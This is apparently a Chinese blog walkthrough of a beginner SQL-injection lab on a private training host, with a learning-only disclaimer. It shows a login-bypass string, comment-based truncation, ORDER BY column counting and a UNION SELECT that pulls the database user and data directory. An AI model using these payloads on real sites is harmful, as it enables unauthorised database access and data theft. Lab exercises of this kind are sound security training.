文章目录

  • 注入原理-基础实验
    • 实验内容
      • 实验一:字符型注入
      • 实验二:联合注入
    • 免责声明

注入原理-基础实验

实验内容


1、访问172.16.12.2

2、万能密码登录 'or 1=1#

3、登陆后有两个注入实验,进行手工注入

实验一:字符型注入

使用hackbar输入?id=1’,查看报错回显,提示多了个分号 ’

所以payload就可以这么写,用%23将后面内注释掉即可

Payload:

http://172.16.12.2/string.php?id=1'%23

5、成功

实验二:联合注入

使用hackbar输入 ?id=1’,查看报错回显,提示多了个分号 ’

将分号 '去除,成功 Payload:

http://172.16.12.2/number.php?id=1%23 发现页面正常


7、判断列数 Payload:

http://172.16.12.2/number.php?id=1 order by 3 %23 页面没有报错
http://172.16.12.2/number.php?id=1 order by 4 %23 页面报错


8、使用联合查询语句,查询信息 Payload:

?id=-1 union select 1,current_user(),@@datadir #

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责!

SQL注入之注入原理相关推荐

  1. SQL注入攻击实现原理与攻击过程详解

    SQL注入攻击实现原理与攻击过程详解 结构化查询语言(SQL)是一种用来和数据库交互的文本语言,SQL Injection就是利用某些数据库的外部接口把用户数据插入到实际的数据库操作语言当中,从而达到 ...

  2. SQL注入攻击的原理、分类和防御方法

    一.SQL注入攻击原理 恶意用户在提交查询请求的过程中将SQL语句插入到请求内容中,同时程序本身对用户输入内容过分信任而未对恶意用户插入的SQL语句进行过滤,导致SQL语句直接被服务端执行. 二.SQ ...

  3. sql注入pythonpoco_SQL注入原理与解决方法代码示例

    一.什么是sql注入? 1.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网 ...

  4. SQL注入之基础原理

    SQL注入之基础原理 一.SQL注入的产生 SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序 ...

  5. sql注入攻击的原理(sql注入攻击防范)

    SQL 注入(SQLi)是一种可执行恶意 SQL 语句的注入攻击.这些 SQL 语句可控制网站背后的数据库服务.攻击者可利用 SQL 漏洞绕过网站已有的安全措施.他们可绕过网站的身份认证和授权并访问整 ...

  6. sql注释符注入防御_读《SQL注入***与防御》笔记

    ' //单引号报错,转义 %bf%5c%27 //宽字节注入,数据库编码为GBK时,%bf%5c认为是一个字节,绕过PHP正则 UNION ALL SELECT LOAD_FILE('/etc/pas ...

  7. sql 整改措施 注入_防止SQL注入的五种方法

    一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...

  8. SQL 注入漏洞(八)时间注入/延时注入

    一.时间注入 时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据,而采用一种突破注入的技巧. 在 mysql 里 函数 sleep() 是延时的意思,sleep(10) ...

  9. sql注入--POST注入

    sql注入–POST注入 靶场:sqli-labs-master 下载链接:靶场下载链接 POST和GET的区别 GET提交的数据会显示在URL中,POST则不会.这是最显而易见的差别.这点意味着GE ...

  10. SQL注入——DNSLOG注入

    SQL注入--DNSLOG注入 SQL注入--DNSLOG注入 SQL注入--DNSLOG注入 一.原理 一.原理 当我们遇到盲注漏洞的时候,注入过程没有回显,手工测试会花费大量的时间,如果用sqlm ...

最新文章

  1. 主机配置_分享几套电脑主机配置
  2. vlc的应用之二:vlc的ActiveX及cab
  3. 工业机器人调运角度_站在全球角度,看待中国工业机器人
  4. 《ArcGIS Engine+C#实例开发教程》第七讲 图层符号选择器的实现2
  5. 全文搜索引擎 ElasticSearch 还是 Solr?
  6. arcgis根据矢量范围裁取tif影像(栅格数据)、批量合并shp文件、根据矢量范围裁取区域内的矢量,输出地理坐标系
  7. 云原生数据库风起云涌,华为云GaussDB破浪前行
  8. SQL HAVING Clause
  9. 51单片机计算器_基于51单片机的倒计时温度检测报警器
  10. 编译报错程序集版本高于所引用的程序集的版本
  11. MySQL/InnoDB中,对于锁的认识
  12. java string 最大长度_我说我精通字符串,面试官竟然问我Java中的String有没有长度限制!?...
  13. hashcat简单使用
  14. 第一周挑战2:税后工资计算器
  15. 01-msm8953 单独编译bootloader、kernel和system,以及采用adb fastboot下载镜像的方法
  16. 暗色调Xshell配色方案
  17. 吉他技巧—如何推算和记忆和弦
  18. 小白如何搞定远程开机?黑科技智能插座真的不了解一下吗
  19. 使用Python PySNMP模块获取设备指标
  20. 实时互动下视频 QoE 端到端轻量化网络建模

热门文章

  1. Photoshop调整图像色彩
  2. 硕士android毕业论文题目,「复盘论文」硕士毕业论文题目选定
  3. h5微信本地调试 vue_vue微信授权解决方案[如何本地实现授权]
  4. 2019年,年终总结
  5. 关于el-popover在表格中既打不开也关不上的问题
  6. [Python自动化]用Python开发自动化测试脚本
  7. C#中生成二维码(QR码)与读取二维码内容
  8. Linux系统调用--getpid/getppid函数详解
  9. Sublime Text 常用热键
  10. 如何解决Smartsheet 登录时遇到的问题